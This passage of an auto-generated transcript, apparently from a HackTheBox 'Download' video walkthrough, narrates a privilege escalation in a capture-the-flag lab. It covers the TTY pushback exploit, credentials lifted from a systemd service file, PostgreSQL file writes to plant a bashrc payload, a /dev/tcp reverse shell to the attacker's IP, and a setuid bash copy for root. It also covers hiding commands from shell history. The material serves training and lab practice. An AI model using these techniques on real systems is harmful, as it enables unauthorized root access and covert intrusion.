+ {"text": "entire time and because it does that it enables us to have a script that will background the session and then send a command back up all we have to do is be able to run a script as the postgress user so the next step will probably be like logging into the postgress database and getting rce that way um but first let's look into this because without this knowledge we don't know exactly why we're going to the postp user right and this exploit is super old I bet if we Google let's see TTY push back exploit go to Google go to injecting a careless administrator terminal this is probably the best blog post about it and we can see it's been around since 1985 so the exploit has been around older than me and we can see um exactly how it works so it's just a simple python script you don't need to use python um this tol character I don't even know", "start": 3659.44, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
46
+ {"text": "how to pronounce it but this is going to send commands to the terminal so what we do is send this os. kill with the Sig stop that's going to background the process and then we essentially just type commands into the terminal and since we backgrounded the Su process now we're the previous user and we can type commands and the tile is what allows us to like do those send keys if this wasn't here then we wouldn't be able to input the raw keys and the exploit would be stopped I want to say open BSD did it maybe the latest kernels did it within the last like six months but I doubt it because again it's just been around forever and keeps getting discovered and then people always surprised with how old this exploit is so let's just copy the script and do a quick demo right so I'm going to do a um pseudo Su", "start": 3718.44, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
47
+ {"text": "Dash and then we can do an echo this and that's going to Echo my current P ID so now when I do a ps- EF -- Forest we can GP after three before three on this we probably don't need that after actually we can probably just do before three there we go so we can see this is my terminal and then we will do as pseudo su su bash and the whole time my pts is staying as four if I did A- P we do the same command we can see the pts does change and this is what's going to prevent the script from just sending the raw keys to the parent process right um and I'm going to keep this good session because it's not really impressive if we remove the- P where the root terminal background and exit commends as my low priv right we want to go the other way we want to go from high priv to low priv or yeah so I'm just going to do a su Dash so now we are su- ipac and if we do ps- EF", "start": 3767.2, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
48
+ {"text": "Forest grp B3 on this we can see I started as root Root Root now we downgraded to ipac and I'm still on PTS 6 so I'm going to create temp. piy we're just going to drop the script in we'll do Python 3 temp. piy and say who am I and we can exactly what happened it backgrounded the terminal and then ran who am I we could FG to foreground the terminal and go back um you could also clean up the script let's see uh V.P if we go back to the blog post it said let's see if we want it to be really sneaky we can do a CMD is space so this means when we do something with this space it's not going to go in the history um so if I did Echo Please Subscribe and we put a space here I hit up I'm still temp. Pi if we remove that space it's in history right so that's why they have that first space there then I think this is going to kill the history I don't know exactly what plus o does on it then we're going to run the commands send a new line then we're", "start": 3840.24, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
49
+ {"text": "going to foreground and then reset the terminal and then it also says we should wipe our payload from bash RC right but let's just take the lazy way instead of doing all of that and after this let's see we can say we send the new line then we can say FG new line and I guess we can type reset uh new line so now when I run this we get my session back that kind of hung a little bit I didn't exactly like that reset um let's see V temp. Pi instead of reset let's just do is it clear yes there we go that's a bit quicker so that is the exploit that we want right um if weid a pseudo terminal it would not work um so let us go back here and we want to figure out exactly how to get to the post grass user and to do that let's just look at exactly where postgress is listening or not perest the web server uh we're listening on Port 3000 so let's", "start": 3920.52, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
50
+ {"text": "go in engine x uh sites enabled uh let's grap everything that has a comment and we don't have Port 30,000 at all gp-r 3000 it is in the def engine x.com I don't know why it's in there but okay so that's just going to go to Port 3000 the root is ver dubdub duub app so that's probably where it is okay so this is where all the source code is so here we just have to figure out how postgress is connected to right so I'm looking for some type of database string and I don't see it here it's doing that weird copy I guess that's hinting at we can write files um let's see or maybe that's how we get command execution but let's go to um we have app.js routers off this is how it authenticates requires Zod so we log in we have login validator login validator is Zod one default so I guess this is just making", "start": 4019.359, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
51
+ {"text": "sure the usernames between six and 64 characters that's probably for both username and password I would guess but I don't see it connecting the database no uh let's grp-r database database URL I'm guessing Prisma 2 is configured to pull it from the environment variable unfortunately we don't have a EnV file normally environment variables are done through EnV files in the web application uh let's dpsf GP on node 878 can we go and proc 878 and get EnV from there uh let's see Environ only dubdub duub data can read that so we can't read that it could be in like system D let's see psf grap let's just do Forest again 878 okay let's see it's not telling me the system D process let's just go Etsy system D it's probably in system g-r node download we can see right here so cat download site service and there we go we have the postgress credentials so we can do psql", "start": 4111.319, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
52
+ {"text": "- capital u the username uh probably- for host 1271 or host - capital W for password and then we want to connect to the download database and then we'll copy the password of coconut pineapple watermelon and now we're in so we can do backd to see what we are a member of and we're a member of PG WR server files we don't have the other roles like super user so we can't just go straight to rce um we could also SL DT to show tables and we can select star from user and this is weird I think it's because um user may be a key word like we're selecting star from the list of users who we are so we want to put it in quotations to say it is a table and then we can get all the users same thing for file right we just did select star from file without quote uh files relation file does not exist that we just want to do double quotes don't know exactly why but yeah", "start": 4217.12, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
53
+ {"text": "so that's not really that interesting what we want to do though is write to a file because if we write to a file we can write to post's um bash RC file and execute commands right so that is what we want to do uh let's see I'm going to S Wesley at 101 11 12 226 right I just want to get two shells on this uh his password was Duncan Donuts and we can stand up a shell here so let's grap postgress out of etsy passwd and we can see it shell is ver lib postgressql bash or ver lib postgressql so if we went in here do lsla they have a bash history what we want to do is like write a uh either like profile bash RC or bash profile right so let's go to postgress uh create file I actually think it's just copy and then into if we did copy select one into uh Dev shm test is this it no save results of command to a", "start": 4294.6, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
54
+ {"text": "file we don't want SL o I guess we could have done that see copy two maybe single quotes there we go I did not actually think the single quotes would change that we can see we wrote one so we can say select please subscribe and now we wrote that so what I'm going to do is um create a script in Dev shm called test.py we're going to paste the script here we will copy this paste it in instead of doing forare in sis arv1 let's just hardcode it to be B- C b-i Dev TCP 10 10 148 91 0 and 1 like that close those both out and we should be fine we could also get rid of the plus n and then put it here I guess uh there I don't know if we can because the way I did the quotes let's leave the back sln and single quotes chod plus X test.py okay so now what we want to do is write Dev shm test.py to the directory so ver lib", "start": 4389.199, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
55
+ {"text": "poql and then I'll call this is it profile I said okay if we look we do have a profile we can also say bash RC and then what we want to do is wait the 2 minutes because it looked like every 2 minutes that SSH session um came through right so let's do a date and I'm going to sleep for for 90 seconds then we'll resume okay it's been almost 2 minutes and we never got the hit back that is odd let's do Dev shm test.py and maybe it doesn't like all those special characters in our bash command um I'll kill it with a squiggly period that kills the SSH session Duncan Donuts so let's do something slightly with a script oh we did test SLP let's go test.py that could have also been it so right there and then I also want to make a small change to this so for care okay before we do this let's just do with open Dev shm", "start": 4522.199, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
56
+ {"text": "poned we'll open that in right mode and say as f f dot oh we got a shell as we were talking it doesn't look like we could send any commands though and it's probably just the weird state or terminal is in we can do f.r um please subscribe I was going to write the username but that's easy enough okay so instead of the command let us CP bin bash to Temp Bash bash and we can do um chod 4755 on temp bash I think that one will work we save it okay let's write to birth I keep doing it just in case like there's a KRON cleanup script that removed them ver let's go CD Dash and then from here ver lib postgress so we have bir files there you do watch- N1 Dev shm and when we see p pop up here which we did as I was talking we know the script ran so now I can go in temp lsla there should be A bash there is and we have the set uid bit so if we dobash DP", "start": 4622.44, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}
57
+ {"text": "to do privileged we can see our effective euid is root which lets us go in root and get root. text so hope you guys enjoyed that um hopefully the whole TTY push back exploit makes sense so that'll be it take care and I'll will see you all next week", "start": 4740.32, "duration": 0.0, "meta": {"video_id": "UUn9x7mw1i0", "title": "HackTheBox - Download", "url": "https://www.youtube.com/watch?v=UUn9x7mw1i0"}}